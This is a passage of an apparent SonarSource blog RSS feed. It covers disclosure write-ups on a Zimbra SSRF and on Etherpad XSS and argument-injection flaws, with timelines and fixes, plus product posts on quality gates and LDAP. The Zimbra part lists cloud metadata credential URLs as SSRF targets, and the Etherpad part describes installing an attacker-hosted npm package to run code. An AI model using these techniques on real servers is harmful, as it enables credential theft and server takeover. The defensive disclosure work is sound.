});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If &lt;em&gt;some.service.webex.com&lt;/em&gt; points to a service that uses the &lt;code&gt;Host&lt;/code&gt; header to create a redirect, the request is redirected to &lt;em&gt;attacker-server.com&lt;/em&gt;. As a consequence, an attacker could create a web server that redirects the HTTP client used by Zimbra to an arbitrary URL, including &lt;em&gt;localhost&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;The SSRF is powerful for two reasons: (1) Arbitrary headers can be set in the outgoing request, and (2) the response can be read. If a Zimbra instance is hosted on a Cloud provider which has a metadata API reachable from the VM the server is hosted on, highly sensitive information could be leaked.&lt;/p&gt;&lt;p&gt;For example, if the server is hosted in the Google Cloud, an API access token could be leaked by forging a request to:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Another example would be leaking IAM credentials from AWS through EC2 metadata. This can be achieved by forging a request to:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It might also be possible to escalate the impact of the SSRF vulnerability into Remote-Code-Execution impact. Zimbra hosts a &lt;a href=&quot;https://wiki.zimbra.com/wiki/Ports&quot;&gt;list of internal services&lt;/a&gt;, for example, an administrative console, that can be reached through this SSRF vulnerability.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Mitigation&lt;/h2&gt;&lt;p&gt;SSRF attacks like the one described above can be mitigated by disallowing the HTTP request handler to follow redirects. It makes sense to validate the value of the &lt;code&gt;Location&lt;/code&gt;header of the response and create a new request after it has been validated. This would also protect against Open Redirect vulnerabilities. &lt;/p&gt;&lt;p&gt;The XSS attack described above has been fixed by removing the code that transformed the form tag altogether.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-19&lt;/td&gt;&lt;td&gt;We reached out to the Zimbra Security team and exchanged PGP keys&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-19&lt;/td&gt;&lt;td&gt;The vendor responded with a PGP key&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-20&lt;/td&gt;&lt;td&gt;We sent the vendor an advisory regarding the SSRF vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-22&lt;/td&gt;&lt;td&gt;We sent the vendor an advisory regarding the XSS vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-24&lt;/td&gt;&lt;td&gt;The vendor confirmed receipt of the details&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-06-28&lt;/td&gt;&lt;td&gt;Zimbra released patches for both vulnerabilities&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we analyzed two code vulnerabilities found in &lt;strong&gt;Zimbra (8.8.15)&lt;/strong&gt;, a widely used open-source solution for enterprise mail. We outlined how mutation of sanitized data can lead to XSS vulnerabilities. We also demonstrated how the SSRF vulnerability might lead to a complete takeover when hosted on a Cloud provider.  We would like to thank the Zimbra Security team for their professional and fast responses.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/etherpad-code-execution-vulnerabilities&quot;&gt;Etherpad 1.8.13 - Code Execution Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/bitbucket-path-traversal-to-rce&quot;&gt;Bitbucket 6.1.1 Path Traversal to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/mybb-remote-code-execution-chain&quot;&gt;MyBB Remote Code Execution Chain&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Clean As You Code essentials - What are Quality Profiles and Quality Gates?]]></title><description><![CDATA[Learn how the functionality of Quality Profiles and Quality Gates come together to enable the SonarSource Clean As You Code methodology.]]></description><link>https://www.sonarsource.com/blog/clean_coding-quality_profile_quality_gate_guidance</link><guid isPermaLink="false">c08a1dec-43be-5802-9ea3-6bde267f5f86</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Wed, 21 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this blog, we&amp;#x27;ll focus on rules, Quality Profiles and Quality Gates. These elements are the building blocks of an effective Clean As You Code strategy. After reading this article, you’ll have a better understanding of what they are and how they’re used in the pursuit of clean, quality code for all! &lt;/p&gt;&lt;h2&gt;The Forest for the Trees - aka the Big Picture &lt;/h2&gt;&lt;p&gt;Before we jump into Quality Profiles and Quality Gates, it’s important to understand WHY we went through all the effort to create this building block functionality in the first place. The answer is simple: we need them so we can answer a super fundamental and super important question: YOU WROTE SOME NEW/CHANGED CODE - IS IT ACCEPTABLE?&lt;/p&gt;&lt;p&gt;And yes, we have a definitive way to determine that! Read on…!&lt;/p&gt;&lt;h2&gt;The Trees for the Forest - Rules, Quality Profiles and Quality Gates&lt;/h2&gt;&lt;p&gt;Rules are the most basic elements of a Quality Profile (QP). Each language requires a QP. For a given language, there are rules we may want to apply during an analysis and others we don’t. The QP is a rule container that determines which rules are active and applied during analysis and which are deactivated. The choice of which rules to apply is yours and your teammates&amp;#x27;. Here you have two paths: 1) use the built-in, default QP called Sonar way or 2) customize a QP. While the built-in QP is great, sitting down with your team to discuss and reach a common consensus on what code quality and code security looks like, for your context, brings two BIG things:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;If you’ve never performed this exercise, it’s a great opportunity for an ad-hoc conversation to get everyone on the same page and gain clarity on clean, safe coding expectations.&lt;/li&gt;&lt;li&gt;It forms the playbook for building a custom QP for each language that reflects your team’s ideal.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;For example, if your team is less concerned with code smells, you can use the facets and filtering capabilities on the SonarQube/SonarCloud Rules Tab to narrow down or broaden the rules to activate in your Quality Profiles.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7ae31cbc-36fd-47d3-b0c3-5a91ac1efcd2/body-d525e64f-987d-4f7c-89ac-3aeabae7b7fc_Java_rules_SonarQube.png&quot; /&gt;&lt;p&gt;Here’s the built-in Sonar way Quality Profile for Java. You can see that it includes a subset of the overall Java rule count.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/80a746d0-5d4a-4c46-ac51-ba39a499275b/body-7992300d-0869-4881-88b2-06d36d132b12_Java_Quality-Profile.png&quot; /&gt;&lt;p&gt;Now we have our container of rules, one for each language, called a Quality Profile. Each time an analysis is run against a particular language, all the active rules in that language’s Quality Profile are applied to the code being analyzed. Behind the scenes, auto-detection, via filename extension, is ensuring that the proper QP and language analyzer are invoked during the analysis.&lt;/p&gt;&lt;p&gt;Any rule violations are flagged in the analysis results as issues. Just flagging issues found in your code doesn’t do us much good though. At this point, we don’t know enough to answer the original question about whether we should merge your new/changed code or not. &lt;/p&gt;&lt;p&gt;We need a way to compare the analysis results against a set of acceptance criteria (aka conditions). This is where the Quality Gate (QG) comes into play. In SonarSource terms, the enforcement of these conditions is called a Quality Gate and it’s binary in nature - either pass or fail.&lt;/p&gt;&lt;h2&gt;The Quality Gate&lt;/h2&gt;&lt;p&gt;The Quality Gate lets you set your own code quality and security conditions by selecting a metric and then setting the pass/fail threshold. If any of the conditions in the QG fail, the overall QG fails and you know not to merge your code until you remedy the situation. The QG is dynamically updated so you’ll know immediately if a fix gives you the ‘GREEN’ light!&lt;/p&gt;&lt;p&gt;Just like with the QP, you can use the built-in Quality Gate called Sonar way or customize your own based on your team’s clean, secure coding definition that we talked about earlier. An example will demonstrate how it all comes together. The graphic below shows you how the Reliability (bugs) Rating metric is calculated. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/737d9dab-9dfa-42c6-b763-a2dc3c39170d/body-c53e8be5-9a7a-4e57-8edf-2b9d0923eb32_Sonar%2Bway%2BQuality%2BGate%2B-%2BReliability%2BRating.png&quot; /&gt;&lt;p&gt;Think of a QG as a report card with an overall pass or fail recommendation. The pass or fail nature is key because we want to make the Go/No-Go decision absolutely clear and not up for debate. The code is either passing from a code quality and code security perspective or it’s not. The notion that the code is ‘good enough’ or ‘I’ll fix that later’ doesn’t fly. The graphic below shows the QG applied to the New Code period on the SonarSource Java Code Analyzer (at SonarSource we dogfood our own products). 🙂 &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/30059497-c082-4f97-ab9b-cdf21e923963/body-6e1b4d96-22c9-49c1-a1d9-8e57a61ae087_SonarQube%2BNew%2BCode%2BQuality%2BGate%2Bon%2BJava%2BAnalyzer.png&quot; /&gt;&lt;p&gt;There you have it. Now you’re an expert on Quality Profiles and Quality Gates. Feels good doesn’t it 😎&lt;/p&gt;&lt;p&gt;What’s key here is the following: we’re going for a reliable, efficient, repeatable process that becomes ingrained in your team&amp;#x27;s workflow. Monitoring the QG on your new/changed code becomes second nature and you can’t imagine a time when it wasn’t part of your process.&lt;/p&gt;&lt;h2&gt;Quality Gate Application&lt;/h2&gt;&lt;h3&gt;New Code Period&lt;/h3&gt;&lt;p&gt;The Quality Gate is utilized in a few scenarios. One important scenario is the analysis of new code. SonarQube/SonarCloud utilize a concept called the New Code Period and by default, it’s set to ‘previous version’ for SonarQube. The New Code Period is intended to cover what you’re working on in the short term. Perhaps this is a current sprint or the next version of your app. While SQ/SC can analyze your entire codebase, that information, while interesting, isn&amp;#x27;t immediately useful because it’s not very actionable. You’re likely not going to stop what you’re doing and go refactor your codebase. In fact, after initially scanning all your projects, the &amp;#x27;report cards&amp;#x27; returned might be quite depressing! However, this is OK - Rome wasn’t built in a day! Your team can’t fix past problems, that accumulated over weeks or even years, overnight.&lt;/p&gt;&lt;p&gt;However, the code associated with your current software version or current sprint is VERY actionable. And that’s where you should focus your code quality remediation efforts! There are a number of ways to define your New Code period such as comparing against a reference branch, a previous analysis or specifying a number of days (e.g., sprint length) to best fit how your team works.&lt;/p&gt;&lt;p&gt;This approach highlights the beauty of the Clean As You Code methodology - it says that by focusing on the New Code Period and only committing passing code, you&amp;#x27;ll eventually refactor and clean up all the parts of your codebase that matter.  &lt;/p&gt;&lt;h3&gt;Pull | Merge Requests&lt;/h3&gt;&lt;p&gt;Another valuable use of the Quality Gate is against Pull / Merge Requests. We’ve established that only actionable metrics are relevant to code quality and a pull request is an ideal place to utilize a QG. Here’s what a Quality Gate integrated into your workflow looks like:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4ad0d94c-e860-426e-bba4-b2e2c898f3e8/body-ebb832ef-78c8-47be-90ea-7aa77cb6779b_SonarQube%2BPR%2Banalysis%2Bworkflow.png&quot; /&gt;&lt;p&gt;SonarQube/SonarCloud QG decoration is supported for GitHub, Bitbucket, Azure DevOps and GitLab. To see it in action for your DevOps Platform of choice, visit the &lt;a href=&quot;https://www.youtube.com/channel/UCS5-gTYteN9rnFd98YxYtrA/videos&quot;&gt;SonarSource YouTube&lt;/a&gt; page where we have short demo videos for each platform. Below is a nicely green Quality Gate decoration on a GitHub Pull Request.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/75976612-6ca6-4f02-820b-7fb3f09a0ee7/body-32d5e3bd-98d2-4b57-80cf-bb1ca23472b8_GitHub%2BPR%2BDeco%2BPassing%2B-%2BDemo%2BHS%2BDark%2BMode%2Bcropped.png&quot; /&gt;&lt;p&gt;PRs are super actionable and represent the most immediate code you’re creating/changing so keeping that code clean and safe is the number one thing you can do to improve quality and security in your projects and apps.&lt;/p&gt;&lt;h2&gt;Proper Quality Profile Maintenance&lt;/h2&gt;&lt;p&gt;While a thorough discussion on QP care and feeding is beyond the scope of this article, it’s useful to review the basics. If you choose to stick with the built-in Sonar way quality profiles, then there’s nothing to maintain. Installing the latest version of SonarQube automatically updates all of the built-in language QPs*. For SonarCloud, the QPs are updated periodically by SonarSource. &lt;/p&gt;&lt;p&gt;*Any of your customized QPs, that retain inheritance, are also updated (covered in the ‘Quality Profile Extend’ section below)&lt;/p&gt;&lt;p&gt;On the other hand, if you and your team decide to customize some of all of your language QPs, then there are some important maintenance considerations to keep in mind. There are two ways to customize a Quality Profile: Copy or Extend.&lt;/p&gt;&lt;h3&gt;Quality Profile Copy&lt;/h3&gt;&lt;p&gt;To perform a copy, you just copy a built-in profile, give it a unique name and then make it your own. When you copy a QP, you are free to activate/deactivate rules contained in the original QP. When you copy a QP, you’re breaking inheritance with the built-in profile and any future changes to the parent QP will NOT be picked up by the copied QP. To remedy this, you’ll need to periodically perform a check against that language’s built-in QP to bring things up to date. A Compare functionality is included in SQ/SC to make this periodic sync more efficient.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Remember: If you go the copy route, you’re signing up for periodic QP care and feeding. i.e., if you don’t maintain your QPs you’ll get more and more out of date with every product release/update. &lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Quality Profile Extend &lt;/h3&gt;&lt;p&gt;When you extend a QP, future changes to the parent QP ARE picked up by the child QP, however, you’re unable to deactivate rules. Extending a QP is useful when you want to extend from a baseline QP and inherit changes from it. i.e. you want an organizational QP but you want to inherit new rules added to Sonar way (the built-in QP) in the future, you’d extend instead of copy it. When you Extend a QP, you can activate rules that aren’t active in the profile(s) you inherited from. It’s a way to be more strict, not a way to relax the rules coming from the parent.&lt;/p&gt;&lt;p&gt;If you think deactivating some rules makes sense for your organization, one approach can be to create a top level profile as a copy of ‘Sonar way’. Copying allows you to deactivate what you feel doesn’t fit. From this Copy, you can then Extend to create specific department/team level profiles as needed. This ‘nested’ approach gives you the best of both worlds - the Copy QP allows you to enforce organizational-wide standards and the Extend QPs let you get more granular for teams. Because of the way inheritance is set up, you only have to periodically sync the parent Copy profile and the updates will cascade to the Extend QPs. The example below shows how you can nest Quality Profiles to fit your team&amp;#x27;s needs.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/14e23476-8999-4f9d-9a65-8163ff1f688a/body-24a84903-46ed-4b5f-827f-2777222e8a4b_QP%2BExtend%2Buse%2Bcase.png&quot; /&gt;&lt;p&gt;In either case, if you choose to customize a QP, it’s imperative to consider the impact changes will have on the development team and the noise generated. For example, turning on too many rules could result in developers ignoring issues and undermining the effectiveness of the tool. To learn more about Quality Gate functionality, visit the SonarQube Quality Profile &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/quality-profiles/&quot;&gt;documentation page&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Wrap-up&lt;/h2&gt;&lt;p&gt;In wrapping up, I urge you to remember what I’ve emphasized all along - an effective code quality and security practice should become second nature and nicely integrated into your team’s workflow. It shouldn’t be disruptive or require the developers to become code quality and security experts. A Quality Gate brings this consistency along with a clear Go/No-Go signal into the workflow. &lt;/p&gt;&lt;p&gt;It’s important that you establish what code quality and security looks like for your team. What is your organization’s playbook? Sure, everyone can have an opinion on code quality, however, this isn’t ultimately useful as it’s not transparent and readily available to all team members. You can’t expect folks to adhere to an opaque or collective knowledge-based standard. Having this code quality ‘playbook’ is especially valuable to newly hired employees and novice developers as it’s a clear indicator of expectations.&lt;/p&gt;&lt;p&gt;The time for opinions is during the team discussion to establish the standard that forms your Quality Profiles and Quality Gate! Discuss it, agree on it and adopt it! Then you can rely on SonarSource and the Quality Gate to enforce it!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Etherpad 1.8.13 - Code Execution Vulnerabilities]]></title><description><![CDATA[We discovered two code execution vulnerabilities that affected Etherpad servers and data. Learn more about the technical details and how to avoid such coding issues.]]></description><link>https://www.sonarsource.com/blog/etherpad-code-execution-vulnerabilities</link><guid isPermaLink="false">bc305017-7d65-59b2-89ca-48ac3d2c3cd7</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 13 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Etherpad is one of the most popular online text editors that allows collaborating on documents in real-time. It is customizable with more than 250 plugins available and features a version history as well as a chat functionality. There are thousands of instances deployed worldwide with millions of users. The project is very popular within the open-source community as shown by the over 10,000 stars on GitHub. Etherpad instances are often publicly usable and can contain sensitive information.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of our security research on open source projects we analyzed Etherpad&amp;#x27;s code and found two critical vulnerabilities. Both can be combined by an attacker to completely take over an Etherpad instance and its data. In this blog post, we cover the technical details of these code vulnerabilities, show how they were patched, and give advice on how to avoid these types of bugs during development.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Two injection vulnerabilities were found in Etherpad 1.8.13 that have been present since at least version 1.7.0:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Cross-Site Scripting (XSS): CVE-2021-34817&lt;/li&gt;&lt;li&gt;Argument Injection: CVE-2021-34816&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The XSS vulnerability allows attackers to take over Etherpad users, including admins. This can be used to steal or manipulate sensitive data. The Argument Injection vulnerability allows attackers to execute arbitrary code on the server, which would allow them to steal, modify or delete all data, or to target other internal systems that are reachable from the server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Exploiting the XSS vulnerability is possible on any Etherpad instance with a default configuration. The Argument Injection vulnerability requires an admin account to exist, which is not a default setting. Both vulnerabilities can be combined by an attacker to first compromise an admin and then to use these privileges to execute arbitrary code on the server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A fix for the XSS vulnerability is implemented in Etherpad version 1.8.14. The Argument Injection vulnerability is still unpatched, but it is significantly harder to exploit on its own.&lt;/p&gt;&lt;p&gt;Here is a short demonstration of exploiting both vulnerabilities to get a shell on the server:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/E96nkaQ7_dg&quot;&gt;Etherpad 1.8.13 - Remote Code Execution&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In the following technical analysis, we analyze the root cause of the two code vulnerabilities. We first take a look at the XSS vulnerability, then we explain the Argument Injection vulnerability.&lt;/p&gt;&lt;h3&gt;Persistent XSS in Chat Messages (CVE-2021-34817)&lt;/h3&gt;&lt;p&gt;To allow for better collaboration in a pad, Etherpad offers a chat feature. Here, users can exchange messages in a per-pad group chat. The messages are stored on the server, making the chat history available to everyone.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a user opens a pad, the chat messages are rendered in the frontend, which involves creating HTML elements from that data. During rendering, the &lt;code&gt;userId&lt;/code&gt; property of a chat message is inserted into the DOM without properly escaping special characters:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/ether/etherpad-lite/blob/996a2d86ddea37c27b9ae11aa87c7fd6f8941b97/src/static/js/chat.js#L173-L177&quot;&gt;&lt;strong&gt;src/static/js/chat.js&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;173    const html = 
174        `&lt;p data-authorId=&apos;${msg.userId}&apos; …&gt; …` + 
175        `&lt;span …`; 
176    if (isHistoryAdd) $(html).insertAfter(&apos;#chatloadmessagesbutton&apos;); 
177    else $(&apos;#chattext&apos;).append(html); &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/static/js/chat.js&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 174 the &lt;code&gt;userId&lt;/code&gt; value is used to build a string of HTML markup and in lines 176 and 177 this string is inserted into the DOM. If attackers manage to control a chatter&amp;#x27;s user ID, then they would be able to insert an XSS payload and perform actions as a victim user. So how can an attacker control a user ID?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Etherpad also features an export/import functionality that handles multiple formats, including a custom JSON-based one. Files in this format can contain a pad&amp;#x27;s content, its revision history, and all associated chat messages. Such a file can then be used to create a copy of a pad by importing it. An exemplary export file looks like the following:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;example.etherpad&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
    &quot;pad:1&quot;: {
        &quot;chatHead&quot;: 0     
    },
    &quot;pad:1:chat:0&quot;: {
        &quot;text&quot;: &quot;Hello World!&quot;,
        &quot;userId&quot;: &quot;aE45C6209&quot;
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;example.etherpad&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Certain values are validated during the import, but the user IDs of chat messages are used as-is. Since the import feature is enabled by default, an attacker can use this to create a pad that has a chat message with a user ID that consists of arbitrary data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When that data contains HTML markup, then this markup will be inserted into the DOM, which will execute any inline JavaScript code. As a result, an attacker is able to inject malicious JavaScript code into the chat history which is then executed in an administrator&amp;#x27;s browser when accessing a pad. This enables an attacker to initiate further attack requests in the browser context of the admin.&lt;/p&gt;&lt;h3&gt;Argument Injection in Plugin Management (CVE-2021-34816)&lt;/h3&gt;&lt;p&gt;Etherpad also features an admin area that can be used by users that are configured to have the admin role. It allows them to manage plugins, edit settings, and view system information.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an admin installs a plugin, a message with the name of the plugin is sent to the backend through a WebSocket connection. The backend then installs the NPM package that corresponds to that name:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/ether/etherpad-lite/blob/996a2d86ddea37c27b9ae11aa87c7fd6f8941b97/src/static/js/pluginfw/installer.js#L49-L66&quot;&gt;&lt;strong&gt;src/static/js/pluginfw/installer.js&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;49    exports.install = async (pluginName, cb = null) =&gt; {
 …      // ... 
52      try { 
 …        // ... 
56        await runCmd([&apos;npm&apos;, &apos;install&apos;, /* ... */ pluginName]); 
57      } catch (err) { 
 …        // ... 
61      } 
 …      // ... 
66    };&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/static/js/pluginfw/installer.js&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 56, the plugin name is used as an argument for an &lt;code&gt;npm install&lt;/code&gt; system command without any validation or sanitization. This allows an attacker to specify a malicious package from the NPM repository or to simply use a URL that points to a package on the attacker&amp;#x27;s server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attacker can either craft a plugin that hooks into Etherpad internals, e.g. creating a backdoor API endpoint, or just use a package with a post-install script which will be executed right after the installation of the package. As a result, the attacker can execute arbitrary code and system commands to fully compromise the Etherpad instance and its data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To summarize, both vulnerabilities can be chained together in order to first take over an admin&amp;#x27;s client using the XSS and then gaining access to the server by installing an attacker-controlled plugin.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;In order to mitigate the XSS vulnerability, all values including the userId property should be properly escaped before inserting them into the DOM. This approach was taken by the Etherpad team:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/ether/etherpad-lite/blob/a7968115581e20ef47a533e030f59f830486bdfa/src/static/js/chat.js#L132&quot;&gt;&lt;strong&gt;src/static/js/chat.js&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;msg.userId = padutils.escapeHtml(msg.userId);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;src/static/js/chat.js&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Fixing the Argument Injection is more complex because there is no vetted list of trusted plugins. A first step would be to limit plugin names to valid NPM package names. This prevents the use of URLs and has the benefit that now only packages from the official NPM repository can be installed. However, this is still not a complete fix, because attackers could publish malicious NPM packages.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The optimal solution would be to have a list of trusted plugins and then check a plugin&amp;#x27;s name against this allowlist before installing it. This is not practical here, as Etherpad is a community project and anybody can contribute plugins.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Argument Injection vulnerability has not been fixed yet, because it is not really possible as we just saw. However, it is far less likely to be exploited on its own, so fixing the XSS vulnerability also reduced the risk of the Argument Injection. To completely mitigate exploitation, we recommend disabling all admin users and do configuration or plugin management via command-line access.&lt;/p&gt;&lt;h3&gt;Timeline&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-06&lt;/td&gt;&lt;td&gt;We report a detailed advisory via email&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-06&lt;/td&gt;&lt;td&gt;Vulnerabilities are confirmed by the vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-08&lt;/td&gt;&lt;td&gt;Vendor fixes the XSS vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-07-04&lt;/td&gt;&lt;td&gt;Vendor releases version 1.8.14 that includes the fix&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;Summary&lt;/h3&gt;&lt;p&gt;In this blog post, we analyzed two code vulnerabilities in Etherpad 1.8.13. The combination of the vulnerabilities can lead to a full compromise of an Etherpad installation. We looked at the vulnerable code snippets and explained how an attacker can exploit them. We also showed how important data validation and sanitization are for avoiding such flaws during development. As we have shown, the smallest coding mistake can be the first stepping stone for an attacker to launch further attacks against the software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are hosting an Etherpad instance and have not updated your installation to version 1.8.14 yet, then we highly recommend that you do so now. Finally, we would like to thank the Etherpad team for their fast response to our initial advisory and their quick fix of the XSS vulnerability.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Enterprise-ready: Authentication & Authorization with SonarQube (LDAP, SSO & more)]]></title><description><![CDATA[Discover how SonarQube can integrate with your existing enterprise setup (LDAP, SSO & co.) for user authentication and authorization.]]></description><link>https://www.sonarsource.com/blog/sonarqube-ldap-sso</link><guid isPermaLink="false">5d946ede-b8b9-5e5d-9394-388a847131d8</guid><dc:creator><![CDATA[Nicolas Bontoux]]></dc:creator><pubDate>Mon, 28 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;[ Enterprise-ready is a series of posts focused on Enterprise expectations. You’ll discover features built on top of our developer-first foundations, that enable usage of our products at scale, and allow for company-wide adoption of Code Quality &amp;amp; Code Security best-practices ]&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In this first post of &lt;em&gt;Enterprise-ready,&lt;/em&gt; we’ll be covering SonarQube functionality purpose-built to help enterprises set up and manage User Authentication (AUTHN) &amp;amp; User Authorization (AUTHZ) in their existing environments. A DevOps pipeline is a concatenation of many different tools that help build, test, validate, deploy software applications. Anytime a company scales past a handful of employees, it would make no sense if user accounts had to be managed in each of these tools individually. It is rather a standard expectation for any &lt;em&gt;Enterprise-ready &lt;/em&gt;solution to integrate seamlessly with Identity Provider solutions already in use at a company level. We’re continuously making sure SonarQube meets this expectation, and this blog post gives you an overview of the various options we offer to integrate SonarQube with your existing Identity Provider.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7f78d51b-7c1f-4c67-8f7f-c6f9e6188b1f/body-29699e0c-2fde-4d3f-b216-872c4f07c9ac_Diagram_A-1_Enterprise%2BReady_SC_Blog%25402x.png&quot; /&gt;&lt;h2&gt;SonarQube integration with LDAP and Active Directory&lt;/h2&gt;&lt;p&gt;When it comes to centralized authentication in an enterprise context, LDAP (Lightweight Directory Access Protocol) is historically one of the top-of-mind options. It’s an open protocol to interface with Directory Services (OpenLDAP, Apache Directory, Microsoft Active Directory, and so many others..) which store users’ information and credentials.&lt;/p&gt;&lt;h3&gt;LDAP Authentication and just-in-time provisioning&lt;/h3&gt;&lt;p&gt;This is the base use-case, which SonarQube fully supports: validating user’s credentials through LDAP. All this requires is a preliminary configuration of SonarQube’s connectivity to the LDAP Server (the 